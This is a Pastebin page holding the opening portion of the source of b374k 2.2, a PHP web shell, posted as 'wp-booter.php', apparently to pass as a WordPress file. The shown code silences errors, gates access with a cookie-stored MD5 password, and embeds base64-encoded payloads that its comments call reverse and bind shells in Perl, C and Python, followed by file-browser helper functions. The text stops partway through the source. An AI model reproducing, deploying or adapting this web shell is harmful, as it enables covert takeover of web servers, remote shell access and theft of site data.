API tools faq
paste
PalmaSolutions

wp-booter.php

PalmaSolutions
Apr 21st, 2018
793
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 80.75 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. /*
  3.     b374k 2.2
  4.     Jayalah Indonesiaku
  5.     (c) 2012
  6.     http://code.google.com/p/b374k-shell
  7.    
  8. */
  9.  
  10. error_reporting(0);
  11. @set_time_limit(0);
  12.  
  13. $s_name = "b374k"; // shell name
  14. $s_ver = "2.2"; // shell ver
  15. $s_title = $s_name." ".$s_ver; // shell title
  16. $s_pass = "523d014eca1e5be88cac17b3bc322e6e"; // shell password, fill with password in md5 format to protect shell
  17. $s_login_time = 3600 * 24 * 7;
  18.  
  19. $s_auth = false; // login status
  20. if(strlen(trim($s_pass))>0){
  21.     if(isset($_COOKIE['b374k'])){
  22.         if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true;
  23.     }
  24.     if(isset($_REQUEST['login'])){
  25. /*      $login = strtolower(trim($_REQUEST['login']));*/
  26.         $login = trim($_REQUEST['login']);
  27.         if(strtolower(trim($s_pass)) == md5($login)){
  28.             setcookie("b374k",md5($login),time() + $s_login_time);
  29.             $m = $_SERVER['PHP_SELF'];
  30.             header("Location: ".$m);
  31.             die();
  32.         }
  33.         else{
  34.             setcookie("b374k",$login,time() - $s_login_time);
  35.             $m = $_SERVER['PHP_SELF'];
  36.             header("Location: ".$m);
  37.             die();
  38.         }
  39.     }
  40. }
  41. else $s_auth = true; // $s_pass variable (password) is empty , go ahead, no login page
  42.  
  43.  
  44. // resources $xback_pl $xbind_pl $xback_c $xbind_c $xmulti_py $wmulti_c... this was used with bind and reverse shell
  45. // use gzinflate(base64_decode($the_code)) if you wanna see the real code.. in case you dont trust me ;-P
  46. $xback_pl ="dZFfT4MwFMXf+RQVmSvJEuYzqcmCaJZlYwH0xT+EwVUbR0vaLmZx87PblqnEbG/33HPOL7dwfhZspAhWlAUtiLWzkYAyXr2DCh2PS0SQ95zoUW6lgoa4Ninf3NChL9gGvlATfOgl9T/Rb2wQJfNsGUcDFMzccO94Y+JVTa1BqhSvoIg3SW/vHy6f9Kbl4kePjaZlXQtCGaiiVJzhQ8VHux2qKWAXhODikbm+Kduw1BeboaA6bngj1GFOlARXnGimHVZbVjaAh6pqh9qV9vU4S6JZnI/Q8qaYLsxgFkWWp/Fkrum2eZReccag+gN0Jx6N8hYYzvLr6WKE3KuLrtE3krv8hBOn6T+n+/T48AvMIWsuocP3lWb2pQZp+Q0=";
  47. $xbind_pl ="bZFvS8MwEMbf51PcYre1UKjiy1pxdFXHtnY0VRD/lNneNFiT0maozPnZTYpTEd+F537P5e65vZ63bhvvnguvxqYilmwhAOsu8YnFzqPZLKBdsX2kPuEru6t/wLP3okXubGBH9cNkzhZR2AdvSv2tZsE+GaVnl3AEBw5sAF+5sg8cH7bEmk1YFsX5IkmzwDLQ9f6tT9YtApPFEyr9ed1IJQtZBQ+ouvf9m1g+oz1URT10fNJ2oM3cweI0n8RR5g5YEk5zlqXRaO5++x14f4eSo02xaWRzI6gxozJ+WZsGLJnlxqpbsCRPowsWjcbj1NWzEr16qREDL8uyybmwfw/vTmKD5qP4yvn3o4q3CoXucLgrA9VBvjzyCnUYZEOWRYF6jDCJY5c5XcY926p5Gaxk8+QYpHOFSyGkAiNSMOH2SlxxgSUYWBtljQJYNp7ELj0amH70R0wuMpce/1WjNP2l4isWX+f8b5Wikvo+hjUoV7Dvky3ZfgI=";
  48. $xback_c = "XVFNawIxEL0L/odhhZJocF2v2oKIBSmtontrZVmTbDd0TSSJxQ/8702y1loPSWbmvXkzvLSEpNWOcRgay4Tqlk/NRuuvdjCxUfSL2ztAcivciYUMgJAWNrmQyAe5/qQEaJlraLv4+32FTzWlYINmw1i9oxa8bM6YzoQEI6QDWM43SqKE9LCnOWl3siLfiOoAjzB6zqZvk/QG2iptHVBaJQ3KrRIojEtW+FbAD+ma8Diy3zrENbe/8tT1kWv1WyBuwYrLK95JOreVi3rBnFhtDbpsRmA5G79ky3QxGb0SmM7ni1k6y9LxHIPrEAUgRJWUnFpUMALozgloY3hwGxPnx5Gr4h7HGA97+LTlWiuNovB8yAgP+F5Y5Ew7Ow93234QDx5es+Rf1vcZ33NaoSheCxmbMiKRv1D9azh000oZ7hp8fP4B";
  49. $xbind_c = "dVJhS+QwEP0u+B9yFW6Ttex2BT/1erCcCiK3B+oXUSkxSe1gNylJVl0W//tNmha0KrRJ5r2XzMtMDkCLZiMV+eW8BDOrf+/vHbzDLOjHMbh1c79tlfsCd0Y8KT8itPKA/xz0iFDW6pgStCdrDppy+yhSHJ5ZBEOc7++JmlsynQYi30UmpKpkSrR6qSRK0OtGRJhLaUvQxKq18Qo5qGhl7BNlpChIxggeEbmZA11WfA3NlhRkeVaer06v8w9sa6xHrvZGO8q9geDx+XZxz9hHYcg6c93U6xt6vlqenFyWy9VNEEfLSMYy0T5fevXvz0V5dX15uvybZiz6/RHFjLRYJWNp0k13Ogn8A2hJ+wLQ0cXJlP2MrlKSvS668xpwXulhx3GAXmpoFF0wLEVXwYILoVo/aLJoRG7aI9rxn+LFKD4KsXpVoqHJHA3OXZ2kSRho7B7rThCNcSpuCeHb8IWWirrlzvXyB+7wBnGttFdWSda3HnAj9pNCkeUQHmmDlxs0ORwe4uPZdVXswVu4D52f3OkJUu9BxLJJ/qXWfqcNbiuCHfJWrFvaGR2ys/Ak/MZqkgXlfw==";
  50. $xmulti_py = "lVNda9swFH22wf9B9R4qk9T56PYS0CCMlJYlzWgyGHQjuLZSizqSkZS2+ffVvbKb0GSM5SHWx9E5514dfTrrbY3uPQjZ4/KZ1DtbKhmFYlMrbYkyXWJ28KfyJ267xIoNj8LZ+NdqOrllg/7wcxQurifTKYuR4yEzJbnI4yhc3swmq/nPJbvs96Pwx/xuyWK3fD1f+EHB18SUvKpovimSURQGplyprWXKpLWquaTI24lJ3AFEqnlWVEJyQxMHlg0aqIK10kQQIYnO5COnlTvstxMkbsEd5r/34o9b1dxutSTNnjeU5VYoSXMlJZ58KUXFyVJvOfJYvcNvUDtHDFDOVf5Mm36Ar4C/5ry2DUwLaWnMtVb6t4xxv9UFUsRXxpMHwInlBKcKAsnkYuALQnCHwZovxv3EmgADi0dFHjeoj2Igt8eZ4iPuKnNuWmDrC6nBAjj42m8XA2j//gbbVeyK4bKg0P8ozPTjM3MZSmHgguWpYJIwNgQyzAYs3A9cKWjwAHJ5DAkwRDgd4gnnlPBXYekgaaIGfYdBgoouUq6jTzQ5Y2gf7CC+7/Yh2sznO/Uf2szGV6ub28myTX+6mH/7vlos7ybjWXPOFWrhSbhSaRv45GSRiHYvpKD0vFJ5VpXK2PMuQZNJC6iEse4g2NJbyfy1+RC6OfCcaA7GEj2m0HyeW0qhQwfk/04lVJGaivOafknecwmqrHkUIAA778EA2QDfSjcrCp1gE9MsByX636qD06r4FI/qHo6Iz1m5tYV6kXR45Iw09+M6HseHbshfRD1+T/gG";
  51. $wmulti_c = "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";
  52. $favicon = "AQYD+fyJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAr8g3BYrpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAphJREFUOMudk8lPU1EUxvkbXAMdXlug2Kp0eu8ViiUIC2wZJJYqkwUqFiqUMjqgAQppUnAIiBKmFoq0thYKBI0GBGMw0ejGxIVLdyYmYDQ0xPD5HokopmXh4kvuyb3nd853ck8cgLhYylymkblIadlzxmNVUXpAuf3vmwOB9pma+DvWhElkhFRhy4Cer/YpaugZ+bdDASfZiktU8+84PaiKqP3Kr+YbOd6CXnqbHpPtltjUzpgAzQK5mTFPRvZaDpBb9KwClFcOyi1H53oT1j+H0O6qgK4mrSUqgPGpTX+khMZHbuYFTiH4YRxPPk5j4KUDklvJqFjOh//1ME70H8VxZyqkDjFTdZ7cYnzue2d87mZ6Kcy+u42epyZcDZegNVwJzTAJiTMFpmkDsgtEn/Y7YHzuMD5BP1R4NF7yy9lgAbxv+3FzqRz2YD7KprJg9BfC92YEQ6sDkHanQG0Uhg5YoKblG6RbBnJchsD7QXQulqIpoEeZWwvDjB731xywzxrwYKUXkk4xxB2i7ymtQuuBGZCjsojRVwTXcysa/TqUTmSh2HMa91a7YZ0qRNVYLgNwQtwmQrJdsJvUSEBUz/8zQNVQ2o/aoAl3VtpQNpmNMxN5cC22w+LRwzSaC8e8DQ2TFiTZBEiuJ46wOYSZe20fQN9V9KW5JOhaakPxuA6uhQ5Y3DpUjuSgZ84G6roSostM1TqiOuY/kPUdWyOauRh7MYiuUD0uMqCeuUZcmWmBsI4PQS0PRA03wjdxmqMCWEmvitekHWI0uGth99RBahPvJQrNvGomUcurSNzkliaAcy6eiApglWoXuZOs/J+CS0xFMxf8Ks6rWAsXd9g2suJf4GzwyhPBPZ9A/BeAFccYv5NoiN+KdvcLtyxxEwhxgvoAAAAASUVORK5CYII=";
  53. $style = "tVbJbtswEL33KwgEBVrAMrS4biKfggL9gqLXghIpiwhFChQd2xHy7xUpyhwtdlIgFS+2PJzlvTczziQ5tyjD+dNeyYMg6V1onx0qpNBBw15oGkX1yX0vcMX4Of2FS1nh1W+qCBZ49agY5juUSy5VelcUxQ69orsKMzF2Hdlnh2pMCBP7NK5P6N74Dir5EmRSEaoChQk7NCmKQvPL4ssjI7pMozD8bAOVFHc2Laqw2jORhj5A91HTkw4wZ3uRclpocAFpcuWONymjFgAR2+jA0N8OjjR7YjrQCoumkKpKkZIaa/oliJJ18p3Q/VdX520TGBvhFoDqcPXvNj/uk8efrkRCc6mwZlKkQgpqLNfGEROFbAcYDQJpxyZqJGcEXTy4OrawPENO2J3IvnXedMbbCfzD+wbpjoOSsn2p03hjLj1TpVmOucO/YoTwPrM9PuMVWj8b2ibVWLiPvZtMcmLtreGHYcyp1h0aTY1zV2kvWCoOy4IdeEYGlK405K6szZWKofaC2maQtJfGhEHoP34wZ/c+Qpey/jBIljpws9CAm1HhaSktM7CmZGvOrdTezmzUD2sm6oN+6eRSK1nVuvtAnzHPJaHLbPUpw56OQSWZ1FpWsAuSB3PmE2/Wei6BdlmjPinYIK4hkphWoJjsoNtZvFEtD+bMlHERIuAGlhLbp0/nVHdXJ9lAmYbQzIyVq3NksDED8yqKQ+jLeOz7gDNBg1tTQct6HKT03ZQM3QQBF51SzLoZNdKs7m4aLakzujfHGja0yg7izFpEWFNzfHYF+/nue7ibDoo2B96x9o+7as7RwOVsZECo+qm7pG6nCIwxkIMFu2e0NpxPSDDSLWuzCpDGGb8iisj46LOGF0h7K4/cPt7J1lWze1spMEi5ssQvUbXYbMPFMm7hilfGatTJ38AwTkK308IJtLk5AAiLwWTebie4mMhXSxw4BvZ+bw+Qmb3G6LFgU0IAra5R34Pl4MsyBrf45ub0Gzxc6ZLBa95BSoX2ns3MuqirOmfy9B96I5ruU4uHF3sf2HKx8E/OW14nyj7e1dIfHNX8GZrfu45u7xTgt5BSmzE0lynwtr1MuV62SwqMwVLyvJeqXdwDu9dPfwE=";
  54. // http://www.kryogenix.org/code/browser/sorttable/ - this makes the tables sortable
  55. $sortable_js = "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";
  56.  
  57. // make link for folder $pwd and all of its parent folder
  58. function swd($p){
  59.     $ps = explode(DIRECTORY_SEPARATOR,$p);
  60.     $pu = "";
  61.     for($i = 0 ; $i < sizeof($ps)-1 ; $i++){
  62.         $pz = "";
  63.         for($j = 0 ; $j <= $i ; $j++) $pz .= $ps[$j].DIRECTORY_SEPARATOR;
  64.         $pu .= "<a href=\"?d=".$pz."\">".$ps[$i]." ".DIRECTORY_SEPARATOR." </a>";
  65.     }
  66.     return trim($pu);
  67. }
  68. // remove <br />tags
  69. function rp($t){
  70.     return trim(str_replace("<br />","",$t));
  71. }
  72. // replace spaces with underscore ( _ )
  73. function cs($t){
  74.     return str_replace(" ","_",$t);
  75. }
  76. // strip slashes,trim and urldecode
